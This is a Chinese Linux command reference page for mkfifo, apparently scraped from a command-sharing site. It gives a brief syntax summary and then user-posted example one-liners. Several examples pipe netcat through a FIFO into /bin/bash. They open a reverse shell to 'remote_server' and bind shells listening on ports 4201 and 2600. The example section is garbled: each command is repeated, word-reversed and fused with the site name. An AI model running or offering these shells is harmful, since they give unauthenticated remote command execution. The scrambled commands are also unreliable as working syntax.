mkfifo

使用指定的名称创建FIFO(命名管道)

语法

  mkfifo [options] NAME...

选项

-m MODE
–mode=MODE
将创建的FIFOs的模式设置为mode,这在chmod中是象征性的,
使用0666(每个人都可以读写)减去umask中为起点设置的位

“FIFO”是一种允许独立进程进行通信的特殊文件类型。一个进程打开FIFO文件进行写入,另一个进程用于读取,之后数据可以像shell中的常用匿名管道一样使用

mkfifo 命令实例:

linux命令:mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fifo /tmp/fifo > from.log -a tee | port machine nc | to.log -a tee | 1234 -p -l nc | /tmp/fifo cat /tmp/fifo; mkfifo mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fiforootopen.com
linux命令:mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fifo /tmp/fifo > from.log -a tee | port machine nc | to.log -a tee | 1234 -p -l nc | /tmp/fifo cat /tmp/fifo; mkfifo mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fiforootopen.com
2018-03-28 16:07:48

linux命令:mkfifo /tmp/fifo; ssh-keygen; ssh-copyid root@remotehostaddress; sudo ssh root@remotehost "tshark -i eth1 -f 'not tcp port 22' -w -" > /tmp/fifo &; sudo wireshark -k -i /tmp/fifo; /tmp/fifo; -i -k wireshark sudo &; /tmp/fifo > -" -w 22' port tcp 'not -f eth1 -i "tshark root@remotehost ssh sudo root@remotehostaddress; ssh-copyid ssh-keygen; /tmp/fifo; mkfifo mkfifo /tmp/fifo; ssh-keygen; ssh-copyid root@remotehostaddress; sudo ssh root@remotehost "tshark -i eth1 -f 'not tcp port 22' -w -" > /tmp/fifo &; sudo wireshark -k -i /tmp/fifo;rootopen.com
linux命令:mkfifo /tmp/fifo; ssh-keygen; ssh-copyid root@remotehostaddress; sudo ssh root@remotehost "tshark -i eth1 -f 'not tcp port 22' -w -" > /tmp/fifo &; sudo wireshark -k -i /tmp/fifo; /tmp/fifo; -i -k wireshark sudo &; /tmp/fifo > -" -w 22' port tcp 'not -f eth1 -i "tshark root@remotehost ssh sudo root@remotehostaddress; ssh-copyid ssh-keygen; /tmp/fifo; mkfifo mkfifo /tmp/fifo; ssh-keygen; ssh-copyid root@remotehostaddress; sudo ssh root@remotehost "tshark -i eth1 -f 'not tcp port 22' -w -" > /tmp/fifo &; sudo wireshark -k -i /tmp/fifo;rootopen.com
2018-05-09 03:25:48

linux命令:mkfifo pipe && nc remote_server 1337 <pipe | /bin/bash &>pipe &>pipe /bin/bash | <pipe 1337 remote_server nc && pipe mkfifo mkfifo pipe && nc remote_server 1337 <pipe | /bin/bash &>piperootopen.com
linux命令:mkfifo pipe && nc remote_server 1337 <pipe | /bin/bash &>pipe &>pipe /bin/bash | <pipe 1337 remote_server nc && pipe mkfifo mkfifo pipe && nc remote_server 1337 <pipe | /bin/bash &>piperootopen.com
2018-02-12 14:23:48

linux命令:mkfifo ._b; nc -lk 4201 0<._b | /bin/bash &>._b; &>._b; /bin/bash | 0<._b 4201 -lk nc ._b; mkfifo mkfifo ._b; nc -lk 4201 0<._b | /bin/bash &>._b;rootopen.com
linux命令:mkfifo ._b; nc -lk 4201 0<._b | /bin/bash &>._b; &>._b; /bin/bash | 0<._b 4201 -lk nc ._b; mkfifo mkfifo ._b; nc -lk 4201 0<._b | /bin/bash &>._b;rootopen.com
2018-03-23 19:35:48

linux命令:mkfifo foo; script -f foo foo -f script foo; mkfifo mkfifo foo; script -f foorootopen.com
linux命令:mkfifo foo; script -f foo foo -f script foo; mkfifo mkfifo foo; script -f foorootopen.com
2018-04-16 09:08:48

linux命令:mkfifo foo ; nc -lk 2600 0<foo | /bin/bash 1>foo 1>foo /bin/bash | 0<foo 2600 -lk nc ; foo mkfifo mkfifo foo ; nc -lk 2600 0<foo | /bin/bash 1>foorootopen.com
linux命令:mkfifo foo ; nc -lk 2600 0<foo | /bin/bash 1>foo 1>foo /bin/bash | 0<foo 2600 -lk nc ; foo mkfifo mkfifo foo ; nc -lk 2600 0<foo | /bin/bash 1>foorootopen.com
2018-02-27 14:21:48

linux命令:mkfifo /tmp/view; nc -l 9876 < /tmp/view& script -f /tmp/view /tmp/view -f script /tmp/view& < 9876 -l nc /tmp/view; mkfifo mkfifo /tmp/view; nc -l 9876 < /tmp/view& script -f /tmp/viewrootopen.com
linux命令:mkfifo /tmp/view; nc -l 9876 < /tmp/view& script -f /tmp/view /tmp/view -f script /tmp/view& < 9876 -l nc /tmp/view; mkfifo mkfifo /tmp/view; nc -l 9876 < /tmp/view& script -f /tmp/viewrootopen.com
2018-04-06 20:11:48

linux命令:mkfifo fifo; while true ; do echo "Waiting for new event"; nc -l 8080 < fifo | tee -a proxy.txt /dev/stderr | nc 192.168.0.1 80 > fifo ; done done ; fifo > 80 192.168.0.1 nc | /dev/stderr proxy.txt -a tee | fifo < 8080 -l nc event"; new for "Waiting echo do ; true while fifo; mkfifo mkfifo fifo; while true ; do echo "Waiting for new event"; nc -l 8080 < fifo | tee -a proxy.txt /dev/stderr | nc 192.168.0.1 80 > fifo ; donerootopen.com
linux命令:mkfifo fifo; while true ; do echo "Waiting for new event"; nc -l 8080 < fifo | tee -a proxy.txt /dev/stderr | nc 192.168.0.1 80 > fifo ; done done ; fifo > 80 192.168.0.1 nc | /dev/stderr proxy.txt -a tee | fifo < 8080 -l nc event"; new for "Waiting echo do ; true while fifo; mkfifo mkfifo fifo; while true ; do echo "Waiting for new event"; nc -l 8080 < fifo | tee -a proxy.txt /dev/stderr | nc 192.168.0.1 80 > fifo ; donerootopen.com
2018-05-26 02:23:48

Linux的Bash命令行(A-Z排序)